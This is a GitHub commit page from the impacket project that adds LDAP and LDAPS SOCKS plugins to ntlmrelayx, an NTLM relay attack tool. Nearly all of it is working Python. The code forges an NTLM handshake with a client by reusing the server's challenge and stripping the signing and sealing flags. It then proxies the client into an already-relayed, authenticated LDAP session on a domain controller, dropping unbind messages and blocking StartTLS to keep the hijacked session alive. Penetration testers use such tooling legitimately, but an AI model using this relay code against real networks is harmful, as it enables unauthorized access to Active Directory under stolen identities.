Skip to content

Commit

Permalink
Add support for LDAP and LDAPS protocols in ntlmrelayx SOCKS (#1825)
Browse files Browse the repository at this point in the history
* Add support for LDAP and LDAPS in ntlmrelayx SOCKS

Should fix #514

* Use real NTLM Challenge message during LDAP socks relay

* Reply to generic LDAP messages that comes before authentication and drop unbind LDAP messages

* Fix missing imports

* LDAP socks code cleaning

* Better handling of initial LDAP bind request in ntlmrelayx LDAP socks

* Better handling of clients' closing connections in ntlmrelayx LDAP socks
  • Loading branch information
b1two authored Dec 20, 2024
1 parent c1a53aa commit 9c8e408
Show file tree
Hide file tree
Showing 3 changed files with 368 additions and 0 deletions.
8 changes: 8 additions & 0 deletions impacket/examples/ntlmrelayx/clients/ldaprelayclient.py
Original file line number Diff line number Diff line change
Expand Up @@ -99,6 +99,7 @@ def sendNegotiate(self, negotiateMessage):
if result['result'] == RESULT_SUCCESS:
challenge = NTLMAuthChallenge()
challenge.fromString(result['server_creds'])
self.sessionData['CHALLENGE_MESSAGE'] = challenge
return challenge
else:
raise LDAPRelayClientException('Server did not offer NTLM authentication!')
Expand Down Expand Up @@ -156,6 +157,13 @@ def create_authenticate_message(self):
def parse_challenge_message(self, message):
pass

def keepAlive(self):
# Basic LDAP query to keep the connection alive
self.session.search(search_base='',
search_filter='(objectClass=*)',
search_scope='BASE',
attributes=['namingContexts'])

class LDAPSRelayClient(LDAPRelayClient):
PLUGIN_NAME = "LDAPS"
MODIFY_ADD = MODIFY_ADD
Expand Down
313 changes: 313 additions & 0 deletions impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,313 @@
import select
from pyasn1.codec.ber import encoder, decoder
from pyasn1.error import SubstrateUnderrunError
from pyasn1.type import univ

from impacket import LOG, ntlm
from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
from impacket.ldap.ldap import LDAPSessionError
from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, SearchRequest, SearchResultEntry, SearchResultDone, LDAPMessage, LDAPString, ResultCode, PartialAttributeList, PartialAttribute, AttributeValue, UnbindRequest, ExtendedRequest
from impacket.ntlm import NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_SEAL

PLUGIN_CLASS = 'LDAPSocksRelay'

class LDAPSocksRelay(SocksRelay):
PLUGIN_NAME = 'LDAP Socks Plugin'
PLUGIN_SCHEME = 'LDAP'

MSG_SIZE = 4096

def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)

@staticmethod
def getProtocolPort():
return 389

def initConnection(self):
# No particular action required to initiate the connection
pass

def skipAuthentication(self):
# Faking an NTLM authentication with the client
while True:
messages = self.recv_ldap_msg()
if messages is None:
LOG.warning('LDAP: Client did not send ldap messages or closed connection')
return False
LOG.debug(f'LDAP: Received {len(messages)} message(s)')

for message in messages:
msg_component = message['protocolOp'].getComponent()
if msg_component.isSameTypeWith(BindRequest):
# BindRequest received

if msg_component['authentication'] == univ.OctetString(''):
# First bind message without authentication
# Replying with a request for NTLM authentication

LOG.debug('LDAP: Got empty bind request')

bindresponse = BindResponse()
bindresponse['resultCode'] = ResultCode('success')
bindresponse['matchedDN'] = LDAPDN('NTLM')
bindresponse['diagnosticMessage'] = LDAPString('')
self.send_ldap_msg(bindresponse, message['messageID'])

# Let's receive next messages
continue

elif 'sicilyNegotiate' in msg_component['authentication']:
# Requested NTLM authentication

LOG.debug('LDAP: Got NTLM bind request')

# Load negotiate message
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(msg_component['authentication']['sicilyNegotiate'].asOctets())

# Reuse the challenge message from the real authentication with the server
challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
# We still remove the annoying flags
challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)
challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SEAL)

# Building the LDAP bind response message
bindresponse = BindResponse()
bindresponse['resultCode'] = ResultCode('success')
bindresponse['matchedDN'] = LDAPDN(challengeMessage.getData())
bindresponse['diagnosticMessage'] = LDAPString('')

# Sending the response
self.send_ldap_msg(bindresponse, message['messageID'])

elif 'sicilyResponse' in msg_component['authentication']:
# Received an NTLM auth bind request

# Parsing authentication method
chall_response = ntlm.NTLMAuthChallengeResponse()
chall_response.fromString(msg_component['authentication']['sicilyResponse'].asOctets())

username = chall_response['user_name'].decode('utf-16le')
domain = chall_response['domain_name'].decode('utf-16le')
self.username = f'{domain}/{username}'

# Checking for the two formats the domain can have (taken from both HTTP and SMB socks plugins)
if f'{domain}/{username}'.upper() in self.activeRelays:
self.username = f'{domain}/{username}'.upper()
elif f'{domain.split(".", 1)[0]}/{username}'.upper() in self.activeRelays:
self.username = f'{domain.split(".", 1)[0]}/{username}'.upper()
else:
# Username not in active relays
LOG.error('LDAP: No session for %s@%s(%s) available' % (
username, self.targetHost, self.targetPort))
return False

if self.activeRelays[self.username]['inUse'] is True:
LOG.error('LDAP: Connection for %s@%s(%s) is being used at the moment!' % (
self.username, self.targetHost, self.targetPort))
return False
else:
LOG.info('LDAP: Proxying client session for %s@%s(%s)' % (
self.username, self.targetHost, self.targetPort))
self.activeRelays[self.username]['inUse'] = True
self.session = self.activeRelays[self.username]['protocolClient'].session.socket

# Building successful LDAP bind response
bindresponse = BindResponse()
bindresponse['resultCode'] = ResultCode('success')
bindresponse['matchedDN'] = LDAPDN('')
bindresponse['diagnosticMessage'] = LDAPString('')

# Sending successful response
self.send_ldap_msg(bindresponse, message['messageID'])

return True
else:
LOG.error('LDAP: Received an unknown LDAP binding request, cannot continue')
return False

else:
msg_component = message['protocolOp'].getComponent()
if msg_component.isSameTypeWith(SearchRequest):
# Pre-auth search request

if msg_component['attributes'][0] == LDAPString('supportedCapabilities'):
# supportedCapabilities
response = SearchResultEntry()
response['objectName'] = LDAPDN('')
response['attributes'] = PartialAttributeList()

attribs = PartialAttribute()
attribs.setComponentByName('type', 'supportedCapabilities')
attribs.setComponentByName('vals', univ.SetOf(componentType=AttributeValue()))
# LDAP_CAP_ACTIVE_DIRECTORY_OID
attribs.getComponentByName('vals').setComponentByPosition(0, AttributeValue('1.2.840.113556.1.4.800'))
# LDAP_CAP_ACTIVE_DIRECTORY_V51_OID
attribs.getComponentByName('vals').setComponentByPosition(1, AttributeValue('1.2.840.113556.1.4.1670'))
# LDAP_CAP_ACTIVE_DIRECTORY_LDAP_INTEG_OID
attribs.getComponentByName('vals').setComponentByPosition(2, AttributeValue('1.2.840.113556.1.4.1791'))
# ISO assigned OIDs
attribs.getComponentByName('vals').setComponentByPosition(3, AttributeValue('1.2.840.113556.1.4.1935'))
attribs.getComponentByName('vals').setComponentByPosition(4, AttributeValue('1.2.840.113556.1.4.2080'))
attribs.getComponentByName('vals').setComponentByPosition(5, AttributeValue('1.2.840.113556.1.4.2237'))

response['attributes'].append(attribs)

elif msg_component['attributes'][0] == LDAPString('supportedSASLMechanisms'):
# supportedSASLMechanisms
response = SearchResultEntry()
response['objectName'] = LDAPDN('')
response['attributes'] = PartialAttributeList()

attribs = PartialAttribute()
attribs.setComponentByName('type', 'supportedSASLMechanisms')
attribs.setComponentByName('vals', univ.SetOf(componentType=AttributeValue()))
# Force NTLMSSP to avoid parsing every type of authentication
attribs.getComponentByName('vals').setComponentByPosition(0, AttributeValue('NTLM'))

response['attributes'].append(attribs)
else:
# Any other message triggers the closing of client connection
return False

# Sending message
self.send_ldap_msg(response, message['messageID'])
# Sending searchResDone
result_done = SearchResultDone()
result_done['resultCode'] = ResultCode('success')
result_done['matchedDN'] = LDAPDN('')
result_done['diagnosticMessage'] = LDAPString('')
self.send_ldap_msg(result_done, message['messageID'])

def recv_ldap_msg(self):
'''Receive LDAP messages during the SOCKS client LDAP authentication.'''

data = b''
done = False
while not done:
recvData = self.socksSocket.recv(self.MSG_SIZE)
if recvData == b'':
# Connection got closed
return None
if len(recvData) < self.MSG_SIZE:
done = True
data += recvData

response = []
while len(data) > 0:
try:
message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())
except SubstrateUnderrunError:
# We need more data
new_data = self.socksSocket.recv(self.MSG_SIZE)
if new_data == b'':
# Connection got closed
return None
remaining = data + new_data
else:
response.append(message)
data = remaining

return response

def send_ldap_msg(self, response, message_id, controls=None):
'''Send LDAP messages during the SOCKS client LDAP authentication.'''

message = LDAPMessage()
message['messageID'] = message_id
message['protocolOp'].setComponentByType(response.getTagSet(), response)
if controls is not None:
message['controls'].setComponents(*controls)

data = encoder.encode(message)

return self.socksSocket.sendall(data)

def wait_for_data(self, socket1, socket2):
return select.select([socket1, socket2], [], [])[0]

def passthrough_sockets(self, client_sock, server_sock):
while True:
rready = self.wait_for_data(client_sock, server_sock)

for sock in rready:

if sock == client_sock:
# Data received from client
try:
read = client_sock.recv(self.MSG_SIZE)
except Exception:
read = ''
if not read:
return

if not self.is_allowed_request(read):
# Stop client connection when unallowed requests are made
return

if not self.is_forwardable_request(read):
# Do not forward unbind requests, otherwise we would loose the SOCKS
continue

try:
server_sock.send(read)
except Exception:
raise BrokenPipeError('Broken pipe: LDAP server is gone')

elif sock == server_sock:
# Data received from server
try:
read = server_sock.recv(self.MSG_SIZE)
except Exception:
read = ''
if not read:
raise BrokenPipeError('Broken pipe: LDAP server is gone')

try:
client_sock.send(read)
except Exception:
return

def tunnelConnection(self):
'''Charged of tunneling the rest of the connection.'''

self.passthrough_sockets(self.socksSocket, self.session)

# Free the relay so that it can be reused
self.activeRelays[self.username]['inUse'] = False

LOG.debug('LDAP: Finished tunnelling')

return True

def is_forwardable_request(self, data):
try:
message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())
msg_component = message['protocolOp'].getComponent()

# Search for unbind requests
if msg_component.isSameTypeWith(UnbindRequest):
LOG.warning('LDAP: Client tried to unbind LDAP connection, skipping message')
return False
except Exception:
# Is probably not an unbind LDAP message
pass

return True

def is_allowed_request(self, data):
try:
message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())
msg_component = message['protocolOp'].getComponent()

# Search for START_TLS LDAP extendedReq OID
if msg_component.isSameTypeWith(ExtendedRequest) and msg_component['requestName'].asOctets() == b'1.3.6.1.4.1.1466.20037':
# 1.3.6.1.4.1.1466.20037 is LDAP_START_TLS_OID
LOG.warning('LDAP: Client tried to initiate Start TLS, closing connection')
return False
except Exception:
# Is probably not a ExtendedReq message
pass

return True
47 changes: 47 additions & 0 deletions impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
import select
from impacket import LOG
from impacket.examples.ntlmrelayx.servers.socksplugins.ldap import LDAPSocksRelay
from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
from OpenSSL import SSL

PLUGIN_CLASS = "LDAPSSocksRelay"

class LDAPSSocksRelay(SSLServerMixin, LDAPSocksRelay):
PLUGIN_NAME = 'LDAPS Socks Plugin'
PLUGIN_SCHEME = 'LDAPS'

def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
LDAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)

@staticmethod
def getProtocolPort():
return 636

def skipAuthentication(self):
LOG.debug('Wrapping client connection in TLS/SSL')
self.wrapClientConnection()

# Skip authentication using the same technique as LDAP
try:
if not LDAPSocksRelay.skipAuthentication(self):
# Shut down TLS connection
self.socksSocket.shutdown()
return False
except SSL.SysCallError:
LOG.warning('Cannot wrap client socket in TLS/SSL')
return False

return True

def wait_for_data(self, socket1, socket2):
rready = []

if socket1.pending():
rready.append(socket1)
if socket2.pending():
rready.append(socket2)

if not rready:
rready, _, exc = select.select([socket1, socket2], [], [])

return rready

0 comments on commit 9c8e408

Please sign in to comment.